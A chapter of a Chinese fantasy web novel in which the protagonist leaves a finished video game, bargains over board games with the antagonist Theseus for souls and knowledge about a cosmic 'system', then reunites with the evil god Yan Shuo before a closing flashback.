在尸骸遍地的怪物巢穴里醒来,被追杀,被吞吃,然后复活。 茫茫然然又掉进新的副本,新的龙潭虎穴,作为被戏耍的弱小猎物被撕咬,被拆食,然后复活。 从一开始的任人宰割,到发现系统bug,到和其他人结识,到初步反击成功。 从什么都不会的普通人,到踏过腥风血雨,历经坎坷岁月,到一步步走上山峰,与外神正面交锋。 诸多记忆碎片走马观花般从眼前一一浮现,又在下一刻如尘烟被呼啸而至的飓风裹挟着飞向远方。 上班族,不,应该说是谢叙白。他伸出手,掌心金光氤氲,唰一下爆开充斥整个屏幕,将涌动的触手潮狠狠击退! 而后他面向所有玩家,对上一众颤动的眼睛,深吸一口气,压抑激动的心绪,终于能够坦然大声地说出那句话。 【大家,都结束了。】 战火弥漫的画面渐渐淡去,大家齐肩携手回到硝烟散尽的城市。这片大地满目疮痍,百废待兴,幸好,人在就有希望。 谢叙白战后加入工程修建和伤病保障工作,很快五年过去,一切逐渐回归正轨,他终于能够光荣辞职退休。 他脱下军服、取出证件,交还联盟部队。他走过正在兴修的建筑群,走过弥漫欢声笑语的人群,回到当初那个普通平凡却也温馨快乐的小小居所,看见完好无损的亲友们,他眼中溢出点点泪花,冲上去和他们用力相拥。 谢叙白有神力滋养,外表仍旧保留在二十岁出头的样子。长时间的重压积劳让他无法再负担那些高压工作,但他又是闲不下来的性子,干脆随便找了个负担没那么重的工作,每天定时定点上下班,跟随悠长时光优哉游哉地活。 【谢叙白!都几点了还不起床!】 日子过得太舒服,不知不觉就愈发散漫。听到谢母的喊声,谢叙白一个激灵睁开眼,捞来手机看一眼时间,鲤鱼打挺翻起身,以迅雷不及掩耳之势完成洗漱穿好衣服,随手抓起一个肉包塞进嘴里,提起公文包冲出居民楼。 他来到宽阔的青灰色柏油大街上,阳光熹微,清风徐缓。背后是老旧的居民楼,从左到右依次是垃圾桶、绿化带和卖油条的摊贩。 老板热情卖力地吆喝,汽车疾驰按响喇叭,人群熙熙攘攘,有人呼噜呼噜吸面条,有人等红绿灯直打哈欠,学生孩子匆匆忙忙赶去学校,传开热闹鲜活的人声。 屏幕画面定格在这一幕,而后缩小,移动至左下角,右边字幕滚动播报玩家姓名,最后一阵欢快的BGM响起: 【游戏结束,恭喜您取得胜利!】 游戏外,坐在沙发上拿着手柄的谢叙白闭了闭酸胀疲累的眼睛,放开一只手揉捏眉心。 奥古托夫一直站在他的身后,看着胜利结算画面恢复到游戏开始界面,【开始-进入新游戏】按钮微微发着光,安静地等待着下一个游玩者。 他轻声问道:“结束了吗?” 谢叙白没有说话,半晌,轻微地摇了摇头。 他再次睁眼,操作手柄翻看整个界面。 游戏通关之后自动碎档,【读取存档】点进去已经变成一片空白,没有东西能够载入。 他点击开始游戏,左下角的背景图画骤然扩大至整个屏幕,上班族小人提着公文包站在街道上。 谢叙白控制上班族向左来到居民楼门口,小人停下脚步不肯进去,脑袋上冒出白底黑字的心声气泡:【今天起得太晚,再不去上班就要迟到了!】 木柴在炉火中燃烧,传出噼啪声响,窗外暗得看不见光亮,狂风裹挟冰渣拍击玻璃,整个甜品屋陷入死一般的寂静。 几秒钟后,谢叙白抬眸,眼中金光氤氲,喃喃说道:“果然,游戏还是不能循规蹈矩地玩。” 他将手柄丢到一边,起身走向液晶屏幕,左右拍一拍,捏着卡带和主机检查半天,询问奥古托夫:“能把这电视卖给我吗?” 奥古托夫眼中笑意渐深,仿佛早就准备好了似的,将一把半人高的铁锤递给谢叙白,笑道:“我不是说过么,您今天的任何消费通通免单。” 谢叙白失笑,接过铁锤,金光如星晨在他的四周跃动,象征着即将恢复的力量。 周围磁场变化,光线出现扭曲折叠,他抬手胳膊抡圆,铁锤在半空划开一道完美的弧线,重重砸在游戏屏幕上。 夸嚓! 正常来说这一锤的威力抡下去,就是整栋大楼都得晃上几下,但眼前的液晶电视机只是裂开一条缝。 而游戏界面唯一的角色人物,那个像素风的上班族小人,在屏幕裂开缝隙的瞬间扭过头来,模糊看不清五官的脸直勾勾地看向谢叙白。 夸嚓! 裂隙扩散,眨眼功夫上班族挺身跨出图像规定的方框,整张脸都贴在蛛网般破碎的屏幕上。 夸嚓! 上班族的五官越来越精细,有了生物的质感,身体越来越大,逐渐和屏幕外的谢叙白等高等宽,仿佛下一秒就能从游戏里走出来。 上班族高高地扬起嘴角,冲谢叙白笑。谢叙白面不改色,毫不受扰,他照着被已然开裂的缝隙,最终蓄起全部力量,一锤狠狠地砸下去。 夸嚓! 液晶电视屏幕应声而碎,游戏角色打破第四堵墙的桎梏来到现实,大笑着飞扑向谢叙白。 他张开双臂,手掌内拘如鹰爪,掐向谢叙白的咽喉! 谢叙白眼眸波澜不惊,蹬地转身借势,动作果断干脆如行云流水,一脚踩在那人影的脸上,把他给重重地踹了回去。 “你——!”这一下不轻,空中爆出骨骼断裂的痛响,仿佛能听见那家伙发出一声极其肮脏的咒骂。 破碎的游戏屏幕变成幽暗深邃的洞口,往里认真看去,昏暗中隐约现出一条曲折蜿蜒的小道,仔细听,还有窸窸窣窣从四面八方传来的细微说话声,怨魂鬼祟潜藏在角落,对即将踏入的人发出迫不及待的阴笑。 这种恨不得看见别人倒霉受惊,又或者说恨不得看见他倒霉受惊的恶劣作风…… 谢叙白心想,他约莫知道丢出这盘游戏卡带引他上门的人是谁了。 抛开这点作弄人的小动作,游戏卡带确确实实给了他明确的提示。 谢叙白相信奥古托夫不会无缘无故帮忒修斯牵线搭桥,他们都是数据化的人,融于系统与其共生切实触碰到核心内容,或许知道些不能公开透露的东西。 谢叙白得进去找忒修斯。 想到这里,他抬腿踩上洞口,歉然道:“抱歉奥古托夫,看来我今天是没什么口福了,等彻底结束这一切我再来仔细品尝你的手艺。” 却见奥古托夫端起不知道什么时候拿来的香橙蛋糕,手持银色小刀具往下一划,蛋糕仍有刚出炉时的柔软蓬松,轻而易举被切开,橙色的汁水宛若瀑布流进昏暗的洞口。 这汹涌流淌的果汁,宛如带着荧光的油彩,所经之处,黑暗散去,一路长满鲜花和绿草。 浓郁的香味在空气中弥漫,原来那绿草不是真的草,是开心果味的面包丝,绽放的鲜花是黑巧和白巧。 视野变亮,天空悬挂的太阳是晶莹剔透的琥珀糖,橡皮糖蜗牛爬行在曲奇枝干上,蜂蜜在河水中流淌。 奥古托夫对怔愣的谢叙白躬身致礼:“愿甘甜驱散您的疲累,愿橄榄枝与剑都在您的手里。” “……多谢,奥古托夫,这下不会摔跤了。”谢叙白笑道,“我们终将胜利。” 他踏入本来黑暗但现在明亮溢彩的甜品空间,平安在身后汪汪两声,也跟着跳了进去,为谢叙白一路送行。 道路尽头是一扇锈蚀的房门,谢叙白揉了揉平安的脑袋,示意它在这里等待,推门走了进去。 里面是放置剪刀手人偶的杂物间,谢叙白在忒修斯的记忆里已经认熟了,唯一有区别的是,各种乱七八糟的货箱被胡乱丢到角落,勉强腾出大概2平方米的空地摆放棋桌。 忒修斯坐在棋桌的对面,单手撑颚瞥向谢叙白身后五颜六色的甜品小径,眼睛一眯讥诮地说:“嚯,几百岁的老家伙了还这么有童心呢?” 谢叙白没有理会他的挖苦,坐到棋桌前,和忒修斯面对面:“你这次的筹码是什么?” “我的筹码可多了。”忒修斯扬了扬下巴,“你猜。” 谢叙白静静地打量忒修斯,问:“我猜到什么你就给什么吗?” 忒修斯嬉皮笑脸:“可以啊,但只能是我有的东西。如果你提出的东西我没有,那不仅这次机会作废,你还得答应我一个要求。” 谢叙白:“你唯一的要求不是让我杀死你吗?” 忒修斯语气含笑,半真半假:“当然不,还有你死。” 谢叙白以前就不会被他的挑衅激怒,何况现在。 他沉吟片刻,仿佛在认真思索可行性,最后说道:“好,先试一局,必须签契,落子无悔。” 忒修斯意外的没有讨价还价,或许是他也累了。 随手从杂货箱里掏出两个闹钟当作计时器,两人同时抓起棋罐里的普通棋子开始分先,谢叙白运气不错,执黑先行。 这一局忒修斯下得懒懒散散。 正常棋局拼的是一个斗智斗勇运筹帷幄,通俗点讲,拼的是能把所有情况算出来的脑力,和四面来敌不动如山让人看不出想法的心态。 真巧了,论算力他不是谢叙白的对手,论心态他更不是。 所以忒修斯一开始就没指望能赢下谢叙白,他的依仗在谢叙白无法准确猜出自己有什么筹码。 忒修斯好奇的是,谢叙白应该知道这件事,但他下得很认真,几乎每下一步都要停下来,卡着读秒时限琢磨计算,仿佛在穷举所有可能性让自己稳操胜券。 这就有意思了,如果谢叙白猜错,可是要反过来答应他的要求,在交易契约的约束下,连自杀都得照做。 谢叙白这样斩钉截铁,难道说已经猜到了他手里的筹码? 被打击过太多次,现在忒修斯不仅见怪不怪,甚至连那点微妙的挫败感都生不出来了。他现在只剩下好奇。 很快一局终了,谢叙白赢得毫无悬念。 他对上忒修斯探究的眼神,开口道:“之前你在现实世界杀过人,将他们炼化成棋子,我要他们。” 忒修斯:“……” 他看着谢叙白没有一丝玩笑意味的严肃脸,噗呲笑了出来。 就很没招。 “全世界那么多死人,不管好的坏的,你真是一个都不想放下啊。” 忒修斯抬起手,头顶天花板消失,无数棋子漂浮在半空中,密密麻麻遮挡半边天幕。 他露出一丝刻薄的笑:“我这里总共七千三百六十五万八千两百二十二枚棋子,来,自己捞吧。” “不过恕我直言,你知道里面有多少是你想要的吗?” “我只知道化工厂的16人。车间组长和安全检查组犯下重大过错,但罪不至死。而那些见死不救的人,不管是情理还是法律,都没有规定他们必须用自己的生命去换取别人的性命,特别是在全厂化学物爆炸这种不可抗力的情况下。” 谢叙白眼神如刃刺向忒修斯:“除此之外,还有多少?” 有交易契约在,忒修斯没法说谎,只能咬牙切齿老老实实回答:“还有246个,23个贪污腐败,8个杀人抢劫,53个家暴,71个霸凌,19个偷东西,72个嘴碎子在背后嚼舌根。” 谢叙白冷眼看他好一会儿,扭头去找。 他的力量正随记忆一起缓缓恢复,可以使用微量的精神力去感应那些人的存在。 忒修斯在旁边托腮看他忙,笑得很开心,但别多想,他用的是大学生看高中生早五晚十的那种眼神。 可惜忒修斯没能幸灾乐祸多长时间,因为谢叙白这家伙将精神力往天上一洒,蛊惑到其他棋子身上去了——他居然在煽动其他棋子帮他找人! 忒修斯傻眼了:“你怎么使唤得动他们?” 这些黑棋原本都有清晰的意识,但跟着他被系统长年累月地一磋磨,基本都成了游乐场瘦长鬼影那般嗜血凶残的怪物,不吃人就不错了,居然还会乐于助人? “我答应他们。”谢叙白说,“只要能找到人,等会儿一定会解决你,还他们一个解脱。” 忒修斯:“……” 他和这群棋子本来就是你死我活的关系,提出这种要求很正常,他不该生气。 但忒修斯脑子抽风突然想起一件事,陡然瞪眼怒声质问:“那我之前让他们帮忙救你,说你能够宰了我的时候,他们为什么鸟都不鸟我?” 其他情况上区别对待他都认了,凭什么在“让他死”这一致意见上都要搞双标? 谢叙白掀开眸子,咸咸地说道:“大概归功于你根本没有信用这种东西吧。” 忒修斯:“……” 其他棋子陆陆续续将262枚棋子送到谢叙白的面前,他摊掌将他们全部收入意识海。 赢下游戏后,按照他和系统的对赌协议,会将游戏开启一刻所有呼吸尚存的人复生,包括这些被炼化的棋子。 忒修斯没有问他准备怎么处理这些人,无非就是复活后,该扔大牢的扔大牢,该治疗的治疗。 他手指一挥,将棋盘恢复原状:“来吧,下一局。” 谢叙白忽然道:“上一局的规则由你定,第二局理该由我来定。” 忒修斯抬眼:“你想怎么定?” “明牌开局,筹码自述,但是不立必须完成的契约,全凭信用。”谢叙白说,“如果你不放心,我可以单方面立一个契约,只要你提出的要求不会违反公序良俗,我会竭尽全力去完成。” 忒修斯脑筋转了一会儿,当即冷笑出声:“你还真是一点都不肯吃亏。” 谢叙白:“别急,我再提出一个前提,你一定不会拒绝。” 忒修斯心说听你瞎扯,面色嘲意欲浓:“行啊,说说看。” “不下围棋了。”谢叙白道,“玩大富翁。” “……”忒修斯,“???” 谢叙白:“太复杂了吗?那可以玩飞行棋。” 有那么一瞬间,忒修斯把毕生所能想到的最肮脏的咒骂在嘴边囫囵转了一圈。 他脸皮气得发抖:“你是不是在耍我?” 谢叙白继续道:“要求是不能使用能力,不能使用任何技巧和手法。” 以上规则可以简单总结为四个字: ——纯凭运气。 忒修斯怒火中烧的表情猛然一滞,眉宇紧蹙审视谢叙白。 是,任何能使用技巧的游戏他赢面都没有谢叙白大,唯有运气捉摸不定,各有输赢。 “等等。”忒修斯警惕道,“你不会让命运女神帮你作弊吧?” “不会。”谢叙白道,“我可以发誓。” 诱惑太大了。 诚然忒修斯知道谢叙白一定在哪里埋了坑,但他抵抗不住。 他本就是个输到一无所有的败者,哪怕露出手指头那么一点能叫他胜利的苗头,都能让他魂不守舍,抓心挠肺。 更何况,是赢下谢叙白。 哪怕赢了也不会得到什么,但那可是赢下谢叙白。 “以退为进吗?”忒修斯慢慢直起身子,冷静地问。 谢叙白没有否认:“没错。” 他需要先知道忒修斯手里有什么筹码,才能想办法拿到手。 忒修斯哈哈大笑,来了精神,手臂一挥,眼前的棋桌消失,变成常规版的飞行棋。 两人迅速制定好规则。 忒修斯:“几局定胜负?” 谢叙白:“局数不定,直到一方筹码用尽认输为止。每输一局需要交代一个对对方有用的筹码,到最后结算。” “好啊。”忒修斯将骰子一丢,笑道,“来!” 第一局,谢叙白运气好连丢几个6,率先走到终点。 忒修斯盯着那棋子,脸黑得能滴水,沉默许久,最终“嘁”一声,还是拾起了自己稀薄到几乎没有的信用:“你还记不记得自己是怎么逼迫系统妥协,重启游戏?” 不等谢叙白开口,忒修斯直言道:“因为系统也有它必须遵守的规则。” 谢叙白当初能找到破局之法,是因为系统看似肆无忌惮只手遮天的行为中,暴露出一个致命破绽。 它太“啰嗦”了。 连野生动物都知道捕猎的时候一定要快准狠,尽可能避免消耗多余的体力。一个恨不能分分钟吞吃全人类,讲究效率的系统,为什么要和他们周旋这么久? 于是谢叙白望着浩瀚无垠的宇宙,脑子里陡然冒出一个想法: 在他们暂时无法企及的高维世界,系统是否也是一个被拘束在副本里的“玩家”? 系统是否做出过违规行为,或者它的所作所为根本不合规,才会这样谨慎小心,生怕暴露? 谢叙白不知道,人类现在根本没有证实这个猜想的技术力,哪怕成神也没有。 要够得到高维法则,必须先成为谢语春那样淡漠尘世的高维体,可是高维化的生物又会失去本性,不会在乎红尘往事。 ……除非。 除非他能够孤注一掷,冒着灵魂被法则撕碎扭曲、可能再也救不回来的风险,吞食所有神级玩家的力量用作推进航线的燃料,让自己变成一发势不可挡的导弹,击破系统设置的壁障,以低维意识横跨高维,直达天听。 “当时你成功了,你招来了某个能为你主持公道的维度法则,于是得以在今天战胜系统。”忒修斯说,“但是谢叙白,你有没有想过一个问题。既然有一个系统,那就很可能会有第二个系统,乃至于第三个、第四个、第无数个系统。” “即使有维度法则维持着宇宙的稳定,但它仍旧遵循着最原始残酷的道理,那就是弱肉强食。人类文明能够在这一次灭种危机中存续,是因为你们的拳头够硬,能赢。但当那些高维掠食者闻着肉味接踵而至时,这颗星球又能经得起多少消耗?宇宙生物无穷尽,待到所有人类力竭时,也将是你们成为祂们俎上鱼肉之时。” 谢叙白没有说话。 被掀开的天花板连接着虚空,近乎无限辽阔的黑暗原野中点缀着数亿个星系。每时每刻都有数不清的恒星诞生演化,又有数不清的恒星坍塌灭亡。 头顶一掠而过的光芒,有可能是原恒星经强烈的星风和喷流吹散外层尘埃包层,朝外喷薄而出的蓬勃生机,也有可能是大质量恒星核燃料耗尽后急剧坍缩引发的壮烈爆炸。 它落进谢叙白沉静无澜的眼底,在黝黑的瞳孔深处发着一点微弱的莹亮。 宛若当初无限游戏开启时,那颗在浩瀚寰宇中孤立无援却又坚强存续着的蓝星。 良久,谢叙白问:“你的解决对策是什么?” 忒修斯玩味一笑:“想知道?可以,再来一局。” 结果第二局还是输。 忒修斯盯着地图脸色一阵青一阵白,三步,就差三步! 只要三步他就能赢下谢叙白!为什么就是丢不出这个数! 谢叙白真的没有作弊吗?他不信! 在谢叙白熠熠生辉的注视下,忒修斯憋得够呛,心不甘情不愿地开口:“你觉得还能有什么办法?那当然是师夷长技以制夷。” “如果说人类是三维生物,那你们在副本里看见的外神就是四维生物,在此前提下,系统的维度还要再高上0.5,因为祂在找到地球之前,靠吞吃那群外神为生,所以祂能够收纳无数外神的信息图鉴为自己所用。” “如果人类有能力吸收学习系统的【知识】,将其融会贯通,那你们在宇宙寂灭到来前,至少有能力和五维生命一较高下。” 忒修斯看一眼谢叙白的脸色,像是知道他在想什么,嗤笑出声:“你是不是觉得系统没有强到能吞吃外神的地步,又或者有维度法则的监视,系统不可能那样肆无忌惮。” “搞清楚,谢叙白,系统看上去没什么战斗力,是因为祂怕被维度法则制裁所以一直藏拙。后续更因为你不知死活招来维度法则,直接被套上枷锁捆住‘手脚’,无法自由发挥——从前至后祂能用出的力量不到鼎盛时期的十分之一!” 忒修斯笑得十分开怀:“现在你知道系统为什么杀你还嫌不够,非要把你折磨疯吧?” 系统面对的问题不单单是被看不起的蝼蚁咬了一口,还被这蝼蚁注毒致残到只能发挥出一成力量。原本能打过的对手现如今都打不过了,还有被反咬身死的危险。 换谁不憋屈?换谁不记恨? “至于为什么维度法则只管人类,而不管被吞吃的外神,答案很简单。”忒修斯说,“因为人类是一个文明,而那些外神只是个体。” “哪怕和整个宇宙相比,地球、人类都过于微渺,你也不得不惊叹于这理应微不足道的存在是那样的特殊,竟然诞生出来一个文明。” “或许在千亿年之后,它也将成为某一维度法则的诞生之地,这才是你所召唤而来的维度法则愿意维护你们的原因,也是宇宙为了促进发展自然演化出来的调控机制。” 谢叙白神色微动,眸光闪烁。 忒修斯看着他,骤然一笑,摊手耸肩一副死猪不怕开水烫的找打模样:“但以上都是基于系统的认知提取出来的知识,有可能它根本就是系统的臆想,元谋人还以为火是神的恩赐呢。” “你不清楚五维六维甚至更高的维度是什么情况,不知道它们是不是已经结构出足以推翻人类文明的学说,又怎么能够确定自己获得的就是真理?” “没关系。”谢叙白毫不犹豫地道,“人类会一直发展下去,终有一天会看到巅峰的风景。” 忒修斯:“嘁。” 谢叙白心情很好,也不在乎他在那翻白眼嗤之以鼻,眸眼发亮接着问:“系统核心在我们手里,要怎么解构学习那些扭曲晦涩的知识,你应该有办法吧?” “想知道啊?”忒修斯微微一笑,“再来一局。” 第三局是谢叙白输了,这次换他离终点只有5步之遥,但倒霉极了,怎么都投不出那个5。 谢叙白摸了摸鼻子,倒是不意外,失去神力加持,他的运气就是这么的缥缈不定。 但忒修斯看着棋局沉默了许久。 久到谢叙白都忍不住要开口催促他的时候,忒修斯终于抬起头。 他抿着绷直的嘴唇,看谢叙白几眼,又看向自己赢下的飞行棋,像是有些无法理解似的,看了又看。 没有大笑,没有尖叫,表情都是怔愣的。 到这日日念想刻骨铭心的渴望终于实现时,他有的只是自我怀疑与无所适从。 “你……”忒修斯局促地舔了舔干涩的嘴唇,“你有什么筹码……算了,你随便给我个东西代替筹码,最后一起结算。” 谢叙白和他对视片刻,抬手唤出一缕金光,凝结成一枚常见于□□场所中的钱币筹码。 忒修斯接过来,摆在自己的手边:“下一局。” 第四局,谢叙白胜。 忒修斯没有卖关子,直接说:“正常人类无法正常解构系统的知识,轻则被污染思维,重则被同化变成下一个系统,只有一种情况除外。” 谢叙白:“什么情况?” “数据体。”忒修斯道,“不是把灵魂直接出卖给系统的那些杂碎,他们扛不住,是被系统侵蚀融合后仍旧可以保留自身意志的数据体。” 这样的例子极其罕见,比万里挑一还稀缺。倒戈向系统的几千万玩家之中,仅仅只出现过两个特例。 其一就是忒修斯,但让他放下屠刀转头帮人类做事,没有一点可能性。而且他全部灵魂都融入系统,没有任何回转的余地,只能和系统共存亡。 那就只有另一个人了。 第五使徒,奥古托夫。 奥古托夫那不被系统看重的1%的灵魂,终究是峰回路转,成为如今至关重要的转机。 “告诉你一个好消息,在你和你家姘头卿卿我我你侬我侬的这期间,我已经将他和系统融合的那部分剥离出来了。” 忒修斯抬起手掌,黑红色精神力包裹着一团猩红数据体赫然显现在两人的面前。 一般的数据体时刻都在蠕动狂躁,相比较之下,这团要安静得多。 不会有错,那团数据体就是奥古托夫真实的魂体。谢叙白不觉得忒修斯有这样的好心,拧眉问:“你是怎么做到的?” “他还有一丝没被污染的灵魂,顺着线头拔出来就行了。”忒修斯好整以暇地抛着那团数据体玩,“怎么着,不信我?这又不是什么有技术含量的东西,比当初从系统嘴里抠出密钥要简单多了。” 要知道抠密钥可是在系统的眼皮子底下暗度陈仓,抠奥古托夫的灵魂时系统已经被宴朔玩成了一颗废球,自顾不暇,哪里管得了他的小动作。 忒修斯意味深长地重复谢叙白说过的那句话:“玩游戏可不能循规蹈矩啊。” 但有人选是一码事,这个人选能不能担得起重任又是另一码事。 就算奥古托夫能够接管数据库,他那稀少到只有百分之一的灵魂,又有几分可能性能抗住? 那就是人类自己该去纠结的问题了,或许有神明赐福和谢叙□□神疗愈双管齐下,奥古托夫能熬住吧。 忒修斯只负责把这个人选抠出来,充当和谢叙白谈判的筹码。 棋局继续。 第五局忒修斯胜,筹码数量+1。 第六局谢叙白胜,忒修斯给出灾后重建的有效建议,补足谢叙白原定计划中缺漏的部分。 第七局忒修斯胜,筹码数量+1。 第八局忒修斯胜,筹码数量+1。 第九局谢叙白胜,忒修斯提到:“游戏结束后玩家的力量不会消失,同理异化为怪物和NPC的死者,身上也会残留一部分他们在副本里的异变状态。” “先不说你隐瞒玩家这件事被揭穿后会引起什么样的轩然大波,人类原本的那套法律法规,绝对不再适用一个急需快速发展以抵御域外强敌的文明,你不是老早之前就着力于修订吗,现在进度怎么样?” 谢叙白:“基本修订已经完成,正于H市内某几个区县施行以观察效果,不过等大家都醒来后,又是截然不同的情况,我会联系法律部的专家一并完善。等后续确定没有大问题,保证能够维持住秩序和社会稳定,再逐一向全国推进,我也会委托专员在国际联合会提上日程。” …… 第二十四局结束,忒修斯还没赢够,但他已经输到给不出建议,也不想再费劲儿说话,干脆把飞行棋一丢:“不玩了,玩够了。” 异空间时间流速和外界不一样,可以自行拟定。 他们结束棋局的这会儿功夫,外面玩家刚推进到深渊最深处,见到谢叙白躺在花海中的分身。 谢叙白:“那就结算筹码吧。” 激动人心的时刻要来了! 忒修斯再度来了劲儿,摩拳擦掌,拿出一个筹码推到飞行棋盘上,掷地有声言之凿凿地要求:“我要你死。” 谢叙白:“不想死,换一个。” 忒修斯:“……” 啧。 没立强制完成的契约就是麻烦,忒修斯捏着手中的筹码满脸嫌弃,就好像刚知道自己好不容易捞到的一箱子钱全是津巴布韦币。 “算了,那换一个吧。”忒修斯一脸大度地将拿起来的筹码重新摆在棋桌上,字正腔圆地说,“我要系统死。” 不等谢叙白回答,忒修斯将手边赢到的所有筹码都掬在掌心,一枚、一枚、一枚地扣在棋桌上,又将奥古托夫被剥离出的魂体往前一推。 忒修斯死死盯着谢叙白的眼睛,每一个字都像是从齿缝中挤出来的一样:“我、要、系、统、死。” 那恨意喷涌而出。 谢叙白抬眼,一枚一枚郑重其事地收下他的筹码,将奥古托夫的魂体用金光包裹,和其他黑棋一起温养在意识海,同时也一字一顿回应他:“唯独在这件事上,我们的决意高度一致。” 忒修斯盯看他的神情细节,努力分辨他说的是真是假,倏然缓缓笑了。像吃惯苦头的人无意中尝到世界上最甜蜜的糖水,极其满足似的。 “既然这样,我就再送你一个提示吧。” “在维度法则的见证下,你当初和系统签订了一系列奖惩合约,但缺席领奖台会被视为放弃权利,所以你还得再去见一次维度法则。” “当然这次你肯定不能再靠吞噬力量冲上去了,那是自寻死路,所以你需要借水行舟,用高维力量作伐,比如说无限游戏。所以你这一次的副本主人也算没白当,这段时间你已经熟悉完它的使用方法了吧?” “还记得科学家们曾经解析无限游戏,得出它困缚玩家的三大主要架构分别是什么吗?” 谢叙白:“时间,空间,以及概念规则。” “bingo。”忒修斯打了个响指,“空间有第三使徒莉莉丝设法封印的空间异兽,时间有命运女神和邪神,这两大架构已被攻克,而最后的概念规则……” 忒修斯笑看过去:“谢叙白,当初有那么多条路,你唯独选择专修精神力,无暇他顾。除了本身意志力强适合走这条路以外,还是因为精神力修炼到极致,就将掌控——” “认知。”谢叙白回答说。 这一刻,谢叙白的眼瞳彻底被纯粹的金光渲染,他话音出口如同洪钟自远古敲响,传出一股强大浑厚的波动,掷入世界卷起惊涛骇浪,仿佛在与天地证道。 “天地万物的统一认知,即是概念规则。” 同一时间,深渊最深处。 谢叙白操控上班族在《无限游戏》里做的一切,也会反射到现实中造成相应的影响。但在玩家攻入深渊之后,两边的联系就断开了,出现情景分岔。 在《无限游戏》,凝聚谢叙白大部分力量和记忆的分身是躺在一片白色花海簇拥的巢窝里,邪神在察觉到玩家闯入才姗姗来迟。 而在现实世界,邪神从始至终就没有远离谢叙白的分身一步,触手涌动将他缠得贼紧,全身上下就一个脑袋露在外面以供呼吸。一旦有玩家敢上前抢人,祂触手一甩直接把对方糊在墙上,差点去见太奶。 这会儿邪神和玩家群体已经爆发过两次激烈冲突,冲击震荡四方,满目残垣断壁。 玩家这边深感棘手,因为邪神的怒气值还有大几万没能消下去,可是他们已经通关完H市里的所有小游戏,外面也没有再刷出新的诡怪。 还有什么办法能够消减邪神的怒气值? 就在他们即将爆发第三次冲突时,金光如风挡在双方之间,一只骨节分明的手从上往下轻轻一拽,就让粗壮如山的触手收住那摧枯拉朽的攻势,停在半空。 不止是邪神,全场玩家的注意力也被触手小心翼翼托举到高空的身影吸引。 前排玩家几步上前,满脸激动地看着谢叙白,他们刚想说些什么,就见邪神更快一步先发制人,将一根触手举在谢叙白的面前,委委屈屈的控诉叫全场都听得一清二楚。 【他们打的。】 全体玩家:“……” 他们看了看那根触手上巴掌大对邪神来说来擦伤都算不上的伤口,又看了看灰头土脸、连续重伤几次又吐血几次的自己。 祂好不要脸。 谢叙白轻咳一声,施展金光为所有人疗伤,回头看向委屈巴巴的自家BOSS,笑着轻力拍拍:“好啦,好啦。” 这几日邪神满世界搜刮天材地宝为他疗养身体,为了达到效果最佳,采用了一些不可言说的方法,连带着谢叙白只要一看见那湿润的触手尖就双腿颤软,喉结几不可闻地一滚,脸侧耳根不知不觉染上醉态般的酡红。 因这一幕,邪神的视线又黏在谢叙白的身上摘不下来了。谢叙白下意识侧头似乎想躲开祂滚烫的目光,又在下一秒抬起头,和那双猩红的眼瞳对在一起,笑道:“宴总,你太大只了,我都抱不住你,能缩小一点吗?” 话音未落,黑雾弥漫,一道高壮的身影出现在谢叙白的面前。 宴朔张嘴正想要说点什么,却见谢叙白突然展臂勾住他的脖颈,挺身吻了上来。 唇齿相接,带着努力摈弃羞赧之后的笨拙与热烈。 【谢谢你为我做的一切。】 …… 早在这场副本开启之初,宴朔曾于虚空裂隙中会见命运女神的人类意识。 “你的意思是,你会在这场副本中强行封闭白白的力量和记忆,希望我不要干预?”谢语春摇了摇头,似乎啼笑皆非,“请先给我一个你必须这么做的理由,邪神。您为人类做了很多贡献,我敬重您是拯救人类的英雄神祇,作为回报,我愿为您浴血奋战、肝脑涂地,我相信换成其他人也会一样对您饱含感激和敬仰。但我毕竟就这么一个孩子,如果您想要强行剥夺他的人格自由,亦或是凌辱他,我是不会善罢甘休的。” 说话的同时,谢语春的高维神躯在背后若隐若现,是摆明态度,也是无声的威胁。 宴朔没有生气,实实在在地解释道:“对谢叙白来说,只是赢下无限游戏打败系统,远远不够。” 因宴朔曾与外神浴血奋战,掺失半个神核,所以他清楚知道宇宙危机四伏,人类和地球从来都称不上安全。 他更知道谢叙白在发现这一点时,一定会忍不住未雨绸缪,去殚心竭力地筹划和做准备。 宴朔无意阻止,他热爱谢叙白全神贯注去做某事时迸发出的耀眼和光辉,但谢叙白不知节制。 普通玩家游戏过程中会失去记忆,即使能够合作,互相托付,那也是暂时的。 神级玩家倒是不会失去记忆,但惨死和失去亲友的痛苦也会随轮回次数的增加不断累积,最后形成难以消磨的精神污质,将人的意志彻底压垮,所以也无法全心全意地依靠。 不是同伴不靠谱或者没能力,是谢叙白想要万无一失,就只能倚重自己。 加上他是普通人从零开始修炼,需要付出的汗水和时间是天才的几倍甚至几十倍有余,所以养成如今这种除去全速奔跑就不知道该怎么前进的习惯。 没有人能够一直拼尽全力,他会受不了的。 就像这接连几次的灵魂碎裂,已经对谢叙白造成无法逆转的伤害。 所以宴朔才要封闭谢叙白的力量和记忆,强制他休息,让他停下来好好看看,大部分人类已经成长到有足够的实力和担当,去分担同胞和种族存续的压力,他已经不用再那么拼命。 也是让谢叙白能够养好身体,才有精力在接下来的时间里,去完成他真正想做的事情,那或许会涉及到宇宙外域更隐秘更危险的东西。 听完宴朔的解释后,谢语春沉默许久。 她或许低估了邪神对自家孩子的爱意。 但会造成这种误会,是因为她能感知到邪神对谢叙白那股…… “所以。”谢语春斟酌语气,“您从未想过把白白禁锢起来?” 想过。 在谢叙白灵魂碎裂那段时间,每天都在发疯地想,为什么没有把他所爱的人类藏起来,他会藏得让人都找不到,让谢叙白只属于他一个人,没有那些乱七八糟的公务和勾心斗角让人类伤神,更没有东西能够伤害谢叙白。 可是在那些阴暗欲望钻出来的刹那间,必然有许许多多个谢叙白鲜活的笑颜浮现于眼前。 宴朔想起很久很久以前,他和谢叙白一并倒在疮痍的焦土中,他撕裂身躯强行降维已无力为继,谢叙白遍体鳞伤血流成河奄奄一息。 他为了节省力气,身体一再缩小,像棵断树摇摇欲坠。他粗重喘气,听到呼吸的风从残破的胸腔划过,如破旧的风箱般沙哑嘶鸣。他和谢叙白疲累地抵在一起,断裂的触手将人用力搂紧,彼此互相听取对方微弱的心跳声,借此清醒。 如果再等不到增援,他和谢叙白就会双双殒命。但他俩都伤成了这样,其他部队估计也没有几个能活下来,所以宴朔不抱希望。 不知过了多久,怀里的谢叙白突然伸手,指节用力到发白,强迫他抬头。 他想要呵斥人类别闹,却在抬头一刻看见一轮巨日从地平线上缓缓升起,黑暗退散,橘红色的夕阳普照大地,逆光中几名救援人员用尽速度朝他们奔来,脸上是无法言说的焦急。 